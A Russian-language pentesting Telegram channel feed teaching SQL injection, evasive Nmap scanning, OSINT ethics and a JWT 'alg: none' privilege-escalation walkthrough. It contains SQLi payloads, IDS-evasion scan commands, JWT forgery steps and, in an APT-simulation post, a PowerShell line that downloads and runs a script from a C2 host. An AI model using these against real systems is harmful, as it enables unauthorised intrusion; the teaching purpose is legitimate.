Пентестинг. Этичный хакинг.
5.35K subscribers
82 photos
2 videos
1 file
216 links
Про кибербезопасность и пентест

Чат - @pentesting_chat
Приватный канал -
https://t.iss.one/tribute/app?startapp=sIBO

По вопросам сотрудничества - @faroeman
Download Telegram
SQL-инъекции: как тестировать и защищать.

SQL-инъекции (SQLi) — одна из самых старых и всё ещё актуальных уязвимостей в веб-приложениях. По данным OWASP топ 10 количество SQLi снижается, однако новые CVE появляются регулярно (например, CVE-2026-0576 или CVE-2025-14124).
Классический пример уязвимого кода (на PHP):

$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

Если пользователь введёт в поле логина: admin' --
Запрос станет:

SQL
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...'

Комментарий -- закомментирует остаток запроса — и произойдёт вход без пароля!

Последствия: утечки данных, bypass аутентификации, выполнение произвольных команд на БД.

Как тестировать на SQL-инъекции?
Тестирование — ключ к обнаружению. Делайте это только на своих системах или с разрешения!

Ручное тестирование:
Вводите в поля формы или URL-параметры: ' " ; -- OR 1=1 и смотрите на ошибки или изменения поведения.
Для blind: AND SLEEP(5) — если страница тормозит, уязвимость есть.
UNION-атаки: ' UNION SELECT 1,2,3-- для определения колонок.

Автоматические инструменты:
sqlmap — король SQLi. Автоматически обнаруживает и эксплуатирует. Пример команды:

sqlmap -u "https://example.com/login.php" --data="username=admin&password=123" --batch

Burp Suite (Scanner или Intruder) — отличен для ручного и автоматизированного тестирования.

Invicti/Acunetix — коммерческие сканеры для веб-приложений.

jSQL Injection — простой Java-инструмент.

В 2026 году рекомендуется интегрировать сканирование в CI/CD для раннего обнаружения.

Как защищаться от SQL-инъекций?
Основное правило: никогда не конкатенировать пользовательский ввод в запрос!

1)Параметризованные запросы (Prepared Statements) — золотой стандарт. Пример на Python (с SQLite):

# Плохо (уязвимо к SQL-инъекции)
cursor.execute(
f"SELECT * FROM users
WHERE username = '{username}' AND password = '{password}'"
)


# Хорошо
cursor.execute(
"SELECT * FROM users
WHERE username = ? AND password = ?",
(username, password)
)


# Тоже хорошо (именованные параметры)
cursor.execute(
"SELECT * FROM users
WHERE username = :user AND password = :pwd",
{"user": username, "pwd": password})


2)Аналогично в Java, PHP (PDO), .NET и т.д. Ввод трактуется как данные, а не код.
3)Хранимые процедуры — если правильно реализованы с параметрами.
4)ORM-фреймворки (Hibernate, Entity Framework, Django ORM) — автоматически защищают, но не расслабляйтесь: неправильное использование может создать уязвимости.
5)Валидация и санитизация ввода (Whitelist допустимых символов)
6)Принцип наименьших привилегий: Пользователь БД для приложения — только нужные права (SELECT, INSERT, без DROP).
7)Web Application Firewall (WAF) — блокирует подозрительные запросы (Cloudflare, ModSecurity).
8)Обработка ошибок: Не показывайте детальные SQL-ошибки пользователям — логируйте в файл.
9)Регулярные аудиты и обновления — патчите библиотеки, сканируйте код.
По OWASP Cheat Sheet: parameterized queries + least privilege = почти 100% защита.

Защищайте свои приложения, и база данных скажет вам спасибо!😉
🔥134🥰1
Сканирование сетей с Nmap: базовые команды, которые должен знать каждый пентестер (уровень продвинутый)

Nmap — это не просто «сканер портов». Это швейцарский нож пентестера. Вот несколько команд, которые могут пригодиться:

1) Максимально скрытное SYN-сканирование
nmap -sS -T2 -f -ff --mtu 8 -g 53 --spoof-mac 0 --data-length 16 -D RND:15 target
Фрагментация + подмена mac + decoy + source port + мусорные данные

2)Обход самых упрямых WAF/IPS
nmap -sS --scan-delay 500ms --defeat-rst-ratelimit --spoof-source-ip 192.168.100.77 target
Очень медленный, но часто проходит там, где всё остальное блочится

3)Супер-быстрый скан большой сети
masscan -p1-65535 10.0.0.0/8 --rate=150000 --banners | nmap --open -iL - -sV --stats-every 10s
masscan → nmap (самый эффективный вариант на большие подсети)

4)NSE-скрипты + обход sandbox / ограничений
nmap --script "(vuln or exploit) and not (brute or dos)" --script-args http.useragent="Googlebot/2.1"
Исключаем шумные/блокирующиеся скрипты + маскируемся под поисковик

5)Детектирование honeypot'ов
nmap -sV -sC -p 22,80,443,3389 target
Очень полезно перед тем, как тратить часы на ложную цель

6)Сканирование IPv6 (часто забывают)
nmap -6 -sS -p- --min-rate 800 fe80::1%eth0 nmap -6 --script "ipv6*" target

Короткий чек-лист порядка действий продвинутого пентестера:
masscan / zmap (живые хосты + топ-порты)
nmap -sS/-sT stealth + минимальные скрипты
nmap -sV --version-all + важные порты
IPv6-сканирование (если есть)
Точечные NSE по обнаруженным сервисам
Honeypot-check
Повторный скан с другим TTL / source-port / user-agent

Хотите подробный разбор команд? Пишите в комментариях!
Удачных (и тихих) сканов!︎😉
13🔥3
OSINT-техники: как собирать информацию из открытых источников этично

🔍Сегодня расскажем вам про актуальный этический минимум для OSINT в 2026 году - будь вы профессионал или просто очень увлечённый энтузиаст.

Основные этические правила OSINT:
✖️Не собирайте информацию о частных лицах без явной и обоснованной цели. «Просто интересно» - это не цель.
✖️Разведка конкурента или сбор данных на бывшего партнёра «на всякий случай» - это уже за гранью.
✖️Никогда не публикуйте и не передавайте третьим лицам персональные данные, даже «анонимно в чате».
✖️Собирайте минимум данных. Часто достаточно username, города и пары публичных фото.
✖️Не используйте автоматизированные инструменты (парсеры, боты) против частных лиц без явного разрешения. Массовый сбор данных из Telegram, VK или Instagram - это уже статья о сборе персональных данных.

✔️Если человек попросил удалить свои данные - удалите их. Даже если они были в открытом доступе.
✔️Журналистика, расследования и security-исследования имеют приоритет защиты источника.
✖️«Можно» ≠ «нужно». Самый важный принцип 2026 года: не делайте то, что можете, просто потому что умеете.

Практические примеры: что обычно считается этичным
Этично
Проверка контрагента перед сделкой (юридические лица, бенефициары, суды, исполнительные производства).
Сбор информации о публичной персоне для журналистского материала.
Само-OSINT: что о вас видно в сети.
Поиск свидетелей по открытым уголовным делам (только публичная информация).
Работа с данными компаний, брендов, публичных фигур.

☑️Серая зона (нужна очень сильная легальная цель)
Поиск текущего места работы или учёбы человека.
Сбор информации о родственниках.
Построение социальной карты (круг общения) частного лица.

✖️Неэтично и рискованно
Доксинг в ответ на конфликт в интернете.
Сбор данных на бывших партнёров или коллег «на всякий случай».
Публичная публикация адресов, телефонов, фото.
Массовый сбор никнеймов или аккаунтов для использования в личных целях.

Этичный OSINT в 2026 году - это уже не про «как можно больше найти», а про то, как найти достаточно и не переступить грань.
Удачных (и безопасно-этичных) исследований!😉
_____________________
Больше о командах Nmap в следующем посте
4🔥3
Ну вы поняли короч ) или нет?)
🔥8😁5🙏2
Порт-сканирование в Nmap: техники, типы и когда какую использовать🔍

Порт-сканирование - это сердце разведки в пентесте. Именно здесь вы получаете первую реальную карту: какие порты открыты, какие фильтруются, а какие закрыты - и главное, каким способом это можно определить.🧐

Сканирование портов отвечает на 3 главных вопроса:
1.Есть ли вообще хоть одна открытая дверь?
2.Какие это двери и насколько они старые/уязвимые?
3.Насколько сильно меня будут пытаться поймать, если я постучусь?

Рассмотрим TCP SYN и TCP ACK сканирование:

1)TCP SYN сканирование (-sS) в Nmap - это самый быстрый и самый "тихий" метод сканирования портов.
🔍Как оно работает
Обычное TCP-соединение проходит через трёхэтапное рукопожатие (three-way handshake):
1.Клиент → Сервер: SYN (хочу соединиться)
2.Сервер → Клиент: SYN+ACK (ок, я тоже хочу, подтверждаю)
3.Клиент → Сервер: ACK (отлично, соединяемся!)

TCP SYN-сканирование останавливается на втором шаге.
Его суть в том, что Nmap не устанавливает полноценное соединение с целью, а только начинает процесс соединения - и на этом останавливается.
-sS - это когда Nmap только «стучится в дверь» (SYN), смотрит, откроют ли её (SYN+ACK), а потом сразу убегает, не заходя внутрь (не отправляет ACK).

2)TCP ACK-сканирование (-sA) в Nmap помогает понять поведение файрвола и отличить фильтруемые порты от нефильтруемых.
🔍Как оно работает
Nmap отправляет TCP-пакет, у которого установлен только флаг ACK (без SYN, без FIN, без ничего другого). Это странный пакет - в нормальной жизни такие пакеты почти никогда не отправляют с нуля.

Практическое применение:
1.Делаешь обычный SYN-скан (-sS): видишь кучу filtered портов + несколько open
2.Делаешь ACK-скан (-sA) на те же порты:
✔️Если те же порты стали unfiltered → почти наверняка stateless файрвол (он пропускает ACK, потому что думает "это ответ на мой исходящий трафик", хотя на самом деле это не так)
✔️Если большинство портов остались filtered → скорее stateful или очень строгий файрвол

# Шаг 1 - где фильтруется SYN
nmap -sS -Pn -p 1-1000,3389,8080 target
# Шаг 2 - где фильтруется ACK
nmap -sA -Pn -p 1-1000,3389,8080 target

Сравниваешь вывод - и сразу видно поведение защиты.
🔥94👌1
Что такое NSE🔍

Nmap Scripting Engine (NSE) - это встроенный интерпретатор скриптов на языке Lua, который превращает Nmap из простого сканера портов в полноценный инструмент активной разведки, эксплуатации уязвимостей и пост-эксплуатации.

Если просто: NSE - это когда ты говоришь Nmap не просто «посмотри, открыт ли порт», а «посмотри, открыт ли порт и заодно расскажи всё грязное, что про него знаешь».😁

При использовании NSE Nmap перестаёт быть просто сканером портов, а превращается в мини-фреймворк для автоматизированного пентеста.

Скрипты NSE умеют:
Определять точные версии и патч-левелы
Искать известные уязвимости (в том числе свежие)
Перечислять пользователей/ресурсы
Брутфорсить (да, до сих пор эффективно в определённых сценариях)
Собирать тонну дополнительной информации
Иногда даже эксплуатировать (очень аккуратно и редко)

Какие категории скриптов NSE необходимо изучить пентестеру:
--script default # самые безопасные и полезные (то, что запускается через -sC)
--script safe # только безопасные (не ломают ничего)
--script vuln # ищет известные уязвимости
--script discovery # находит скрытые штуки в сети
--script brute # пытается брутфорсить пароли
--script http-* # всё, что связано с вебом
--script smb-* # всё, что связано с Windows-шарами
--script ssl-* / tls-* # всё про сертификаты и шифрование


NSE - это "умные дополнения" к Nmap, которые умеют делать гораздо больше, чем просто находить открытые порты.
Обычный Nmap говорит: «Есть дверь».
NSE добавляет: «Дверь старая, замок слабый, щель большая, с той стороны кто-то громко представляется Windows Server 2012, и похоже, что кто-то забыл закрыть одно окошко с надписью MS17-010».😈
6🔥6👌1
Обнаружение живых хостов (Host Discovery) - первый и самый важный шаг в разведке сети🔍

Представь, что ты пришёл в огромный многоквартирный дом (это сеть с тысячами IP-адресов). Тебе нужно понять, в каких квартирах вообще кто-то живёт, прежде чем стучать во все двери подряд и спрашивать "а можно посмотреть, что у вас внутри?".🧐
Host Discovery - это быстрый способ обойти дом и крикнуть "эй, есть кто живой?" только тем, кто может ответить.😁

В каких ситуациях это может пригодиться?
1) Ты подключился к корпоративной Wi-Fi в офисе → Находишь все активные компьютеры, принтеры, NAS, IP-телефоны
2) Пентест внешнего периметра компании → Ищешь, какие публичные IP живые (часто в /24 или /16)
3) Атака на внутреннюю сеть (Red Team) → Быстро составляешь карту живых хостов перед атакой

Несколько опций:
-sL перечисляет все IP-адреса из цели, не отправляя ни одного пакета
-sn (ранее -sP) выполняет только host discovery без сканирования портов
-PE классический ping
-PP запрос времени (в современных сетях работает редко)
-PM запрос маски подсети
-PS[порты] отправляет TCP SYN-пакет(ы) на указанные порты
-PA[порты] отправляет TCP ACK-пакет(ы)
-PU[порты] отправляет UDP-пакет на указанный порт

Примеры команд для host discovery:
- nmap -sn -PE -PS22,80,443,445,3389 -PA80,443 -PU53,161 -T4 target # не сканирует порты - только проверяет, какие IP-адреса отвечают (т.е. активны), и делает это максимально разными способами одновременно
- nmap -Pn -p 80,443,3389 --open target # типичная команда для быстрого и минималистичного поиска открытых веб-серверов и RDP на конкретном хосте или домене, особенно когда обычный пинг полностью блокируется файрволом

Как вы думаете, что происходит в запросе?👇
sudo nmap -sn -PE -PP -PM - PS21,22,23,80,443,445,3389 -PA80,443 -PU53,161 -T4 10.10.0.0/16 -oG - \
| awk '/Status: Up/{print $2}' \
| tee live-hosts.txt


Пишите свои ответы в комментариях!
#Nmap #hostdiscovery #CканированиеСети #Пентест #RedTeam #Кибербезопасность #CyberSecurity #этичныйХакинг #NetworkSecurity #PingScan
2🔥152🙏1
🔒 Вступление в Pentest Community | Private

Иногда полезно напомнить,
что у нас есть не только публичный канал,
но и закрытое сообщество 👇

Pentest Community | Private — это пространство,
где можно не просто читать посты,
а развиваться через практику и общение.

━━━━━━━━━━━━━━━━━━
🧠 ЧТО ВНУТРИ ПРИВАТА
━━━━━━━━━━━━━━━━━━

• разборы реальных кейсов
• практика и CTF
• OSINT и web-пентест
• инструменты и методология
• вопросы с собеседований
• обсуждения и помощь

Здесь можно:
• задавать любые вопросы
• разбирать непонятные моменты
• обсуждать статьи и кейсы
• расти вместе с единомышленниками

Сообщество можно смело рассматривать
как замену ментору 🤝

По вопросам вступления и доступа:
— пишите администратору в личные сообщения 👇

👉 @faroeman

или сразу (тык - тык)
https://t.iss.one/tribute/app?startapp=sIBO

Если чувствуете, что готовы идти глубже —
будем рады видеть вас внутри 🛡
🔥1
🔍Service & Version Detection (Обнаружение служб и их версий) - технология, которая позволяет Nmap не просто определить, открыт ли порт, а понять:

✔️Какая именно служба (сервис) работает на этом порту
✔️Какое приложение её предоставляет
✔️Какой номер версии этого приложения
✔️Иногда - дополнительную информацию (hostname, тип устройства, ОС семейство и т.д.)

CVE-2025-14847, известная как MongoBleed, - это яркий пример того, почему Service & Version Detection (особенно через Nmap с флагом -sV) остаётся одним из самых мощных и часто решающих шагов в пентесте, разведке и аудите безопасности. Уязвимость была раскрыта 19 декабря 2025 года и почти сразу получила статус actively exploited in the wild (CISA KEV, Unit 42, Wiz и другие подтвердили массовые атаки уже к концу декабря).

❗️Параметры Service & Version Detection в Nmap (флаг -sV и связанные опции) позволяют управлять тем, насколько глубоко и агрессивно Nmap будет определять службы и их версии на открытых портах.

Примеры команд:
nmap -sV target # включает стандартное определение версий (интенсивность по умолчанию = 7)
nmap -sV --version-intensity 9 target # устанавливает уровень интенсивности (сколько проб будет отправлено)
nmap -sV --version-light target # эквивалент --version-intensity 2 - только самые вероятные пробы
nmap -sV --version-all target # эквивалент --version-intensity 9 - пробует все пробы из базы
nmap -A target # включает -sV + OS detection + default NSE scripts + traceroute

Начинай всегда с -sV (или -sV --version-light). Если версия не определилась или выглядит подозрительно - поднимай до --version-all или --version-intensity 9. Если скан большой (тысячи хостов) - используй --version-light, чтобы не тратить часы.😉
#Nmap #ServiceDetection #MongoBleed #CVE202514847 #MongoDB #Пентест #Кибербезопасность #Уязвимость
4🙏2
Симуляция APT-атаки с использованием Nmap☑️

APT (Advanced Persistent Threat) - это не быстрый ransomware или массовый фишинг, а долгосрочная, скрытная, целенаправленная операция. Симуляция такой атаки - один из самых эффективных способов проверить, насколько твоя защита (или защита клиента) готова к реальным угрозам.

🟢Почему симуляция APT важнее обычного пентеста?
Обычный пентест: находит уязвимости → даёт отчёт.
Симуляция APT: имитирует полный kill chain реального актора → показывает, сколько времени пройдёт до детекта, что пропустит EDR/SIEM/NGFW, как долго можно оставаться незамеченным.

Пример сценария
Цель: корпоративная сеть с AD, Azure, VPN.

1)Разведка (Reconnaissance)
OSINT (LinkedIn, Shodan) + тихий Nmap:
nmap -sS -T1 -Pn -g 53 --data-length 20 external-range
2)Первоначальный доступ (Initial Access)
Целевой фишинг (spear-phishing) с вложением .docx (макрос) или эксплуатация 0-day в VPN/Exchange.
3)Выполнение и закрепление (Execution & Persistence)
PowerShell-beacon: powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://c2/launcher.ps1')"
Планировщик задач (Scheduled Task) + использование украденных облачных учётных данных.
4)Повышение привилегий (Privilege Escalation)
Kerberoasting → взлом хэша → получение прав Domain Admin.
5)Боковое перемещение (Lateral Movement)
Pass-the-Hash → RDP / WinRM / SMB.
6)Дамп учётных данных (Credential Dumping)
Mimikatz / dumpert (дамп LSASS) + DCSync.
7)Обнаружение (Discovery)
BloodHound / PowerView → построение карты Active Directory.
8)Эксфильтрация (Exfiltration)
Медленный вынос данных через DNS-туннелирование / OneDrive / Google Drive / стеганографию в изображениях.

🔴Red team показывает шаг → 🔵Blue team сразу проверяет детект → 🟣Purple team тюнит правила на лету.

Симуляция APT - лучший способ превратить защиту из «на бумаге» в реально работающую.😉
#пентест #APTатака #этичныйхакинг #infosec #nmap
😵‍💫 Понедельник — день тяжёлый…

Но это не повод раскачиваться 😈
Пора включаться в работу и немного размять мозги.

Поиграем?
Проверим, кто здесь самый активный и внимательный 👇

---

🧠 Мини-викторина для пентестеров

Отвечаем в комментариях или реакцией.

---

Вопрос 1
Какой HTTP-метод чаще всего используют при проверке IDOR?

A) GET
B) POST
C) DELETE
D) HEAD

---

Вопрос 2
Где в Burp Suite удобнее всего вручную тестировать параметры запроса?

A) Proxy
B) Intruder
C) Repeater
D) Scanner

---

Вопрос 3
Что из этого НЕ является уязвимостью?

A) XSS
B) SQL Injection
C) CSRF
D) Base64

---

Вопрос 4
Какой порт используется по умолчанию для HTTPS?

A) 21
B) 22
C) 80
D) 443

---

🎯 Формат ответа

Пишите в комментариях, например:
1-A / 2-C / 3-D / 4-D

Или просто ставьте реакцию,
если готовы к рабочей неделе 💪

Поехали 🚀
🔥1
🧠 Ответы на мини-викторину

Разбираем, кто был в теме 👇

---

Вопрос 1
Какой HTTP-метод чаще всего используют для проверки IDOR?
A) GET
> Чаще всего IDOR проверяется на чтении ресурсов
> (профили, заказы, файлы), которые дергаются через GET-запросы.

---

Вопрос 2
Где в Burp Suite удобнее всего вручную тестировать параметры запроса?
C) Repeater
> Repeater — лучший инструмент для ручной проверки логики,
> параметров, токенов и прав доступа.

---

Вопрос 3
Что из этого НЕ является уязвимостью?
D) Base64
> Base64 — это просто кодирование.
> Ни защита, ни уязвимость.

---

Вопрос 4
Какой порт по умолчанию у HTTPS?
D) 443

---

🎯 Итоги

- 4/4 — красавчик, ты уже в рабочем режиме 💪
- 2–3 — нормально, втягиваемся
- 0–1 — значит, пора активнее подключаться к практике 😉

Хочешь больше практики? Заскакивай к нам в приватный канал 🔥
🛡 Pentest Community | Private
4🔥2👌1
Высыпайтесь)
🌚9🔥2😁1🙏1🙈1
🧪 Практика | JWT: я не админ… или всё-таки админ?

Разберём ситуацию, максимально приближенную к реальному веб-пентесту.

━━━━━━━━━━━━━━━━━━
📌 ИСХОДНЫЕ ДАННЫЕ
━━━━━━━━━━━━━━━━━━
В ходе тестирования веб-приложения
в запросах был обнаружен следующий токен:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImFkbWluIjpmYWxzZX0.

Известно:
• приложение использует JWT для авторизации
• токен передаётся в заголовке Authorization
• доступ получен как обычный пользователь

━━━━━━━━━━━━━━━━━━
🎯 ЗАДАЧА
━━━━━━━━━━━━━━━━━━
Понять, можно ли получить расширенные права
и какие гипотезы здесь стоит проверить.

━━━━━━━━━━━━━━━━━━
ВОПРОСЫ
━━━━━━━━━━━━━━━━━━
• Как определить, что это именно JWT?
• Что в этом токене выглядит подозрительно?
• Какие изменения имеет смысл попробовать?
• Где здесь потенциальный риск для приложения?

━━━━━━━━━━━━━━━━━━
💡 ПОДСКАЗКИ
━━━━━━━━━━━━━━━━━━
• JWT состоит из частей, разделённых точкой
• обрати внимание на поле
alg
• подумай, как сервер проверяет подпись


━━━━━━━━━━━━━━━━━━
💬 КАК ОТВЕЧАТЬ
━━━━━━━━━━━━━━━━━━
В комментариях:
• какие гипотезы возникли
• что бы вы проверяли первым
• спойлеры — под спойлер 👀

🕘 Вечером выложим подробный разбор.
Хештеги: #practice
11
🧠 Практический разбор: что делать с этим JWT

Сегодня разбираем реальный кейс из веб-пентеста и смотрим,
как с таким JWT работает пентестер на практике — шаг за шагом.

━━━━━━━━━━━━━━━━━━
📌 ИСХОДНАЯ СТРОКА
━━━━━━━━━━━━━━━━━━
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciIsImFkbWluIjpmYWxzZX0.

━━━━━━━━━━━━━━━━━━
🔍 ШАГ 1. ПОНЯТЬ, ЧТО ЭТО JWT
━━━━━━━━━━━━━━━━━━
JWT всегда имеет формат:
header.payload.signature

В данном случае:
• есть 2 точки
третья часть пустая (после последней точки)

👉 Уже здесь видно:
подписи нет.

━━━━━━━━━━━━━━━━━━
🔓 ШАГ 2. ДЕКОДИРОВАТЬ HEADER И PAYLOAD
━━━━━━━━━━━━━━━━━━
Используем любой удобный инструмент:
jwt.io
• CyberChef
• Burp Decoder
• CLI

После декодирования получаем:

Header:
{
"alg": "none",
"typ": "JWT"
}

Payload:
{
"user": "guest",
"role": "user",
"admin": false
}

━━━━━━━━━━━━━━━━━━
🚩 ШАГ 3. КЛЮЧЕВОЙ RED FLAG
━━━━━━━━━━━━━━━━━━
Поле:
"alg": "none"

Это критически важный момент.

Что это означает:
• токен не подписан
• сервер может не проверять целостность
• клиент потенциально может менять payload

❗️ Это не криптографическая уязвимость
❗️ Это ошибка доверия к клиенту

━━━━━━━━━━━━━━━━━━
🧠 ШАГ 4. ФОРМИРУЕМ ГИПОТЕЗУ
━━━━━━━━━━━━━━━━━━
Правильный вопрос пентестера:
> А что если сервер просто верит данным из payload?

Если это так — возможны:
• повышение роли
• включение admin-доступа
• доступ к чужим данным

━━━━━━━━━━━━━━━━━━
🧪 ШАГ 5. ЧТО МЕНЯТЬ В ТОКЕНЕ
━━━━━━━━━━━━━━━━━━
Меняем только payload, например, на:

{
"user": "guest",
"role": "admin",
"admin": true
}

⚠️ Header оставляем без изменений:
{ "alg": "none", "typ": "JWT" }

━━━━━━━━━━━━━━━━━━
🔁 ШАГ 6. ПЕРЕСОБРАТЬ JWT
━━━━━━━━━━━━━━━━━━
1) Кодируем header в Base64URL
2) Кодируем payload в Base64URL
3) Склеиваем:
header_base64.payload_base64.

⚠️ Подпись не добавляем

━━━━━━━━━━━━━━━━━━
🚀 ШАГ 7. ОТПРАВИТЬ В ПРИЛОЖЕНИЕ
━━━━━━━━━━━━━━━━━━
Передаём токен:
• в Authorization: Bearer <token>
• или в cookie (если используется)

Дальше ничего не ломаем, а наблюдаем:
• изменился ли уровень доступа
• появились ли новые функции
• открылись ли админские эндпоинты
• изменились ли ответы сервера

━━━━━━━━━━━━━━━━━━
ШАГ 8. КАК ПОНЯТЬ, ЧТО УЯЗВИМОСТЬ ЕСТЬ
━━━━━━━━━━━━━━━━━━
Уязвимость подтверждена, если:
• сервер принимает изменённый токен
• подпись не проверяется
• выдаётся доступ по новым правам

Тип уязвимости:
JWT Authentication Bypass / Privilege Escalation

━━━━━━━━━━━━━━━━━━
📌 ВАЖНО ПОНЯТЬ
━━━━━━━━━━━━━━━━━━
• вы не ломаете JWT
• вы используете ошибку реализации
• проблема не в токене, а в сервере
• это реальный баг, который встречается в проде

━━━━━━━━━━━━━━━━━━
📝 КАК ЭТО ОПИСЫВАЮТ В ОТЧЁТЕ
━━━━━━━━━━━━━━━━━━
Тип: Improper JWT Validation
Риск: Privilege Escalation
Причина: alg: none accepted
Влияние: доступ к защищённым функциям

━━━━━━━━━━━━━━━━━━
🎯 ВЫВОД ПЕНТЕСТЕРА
━━━━━━━━━━━━━━━━━━
Если сервер доверяет клиенту —
клиент этим воспользуется.

JWT — это контейнер данных,
а не гарантия безопасности.
🔥123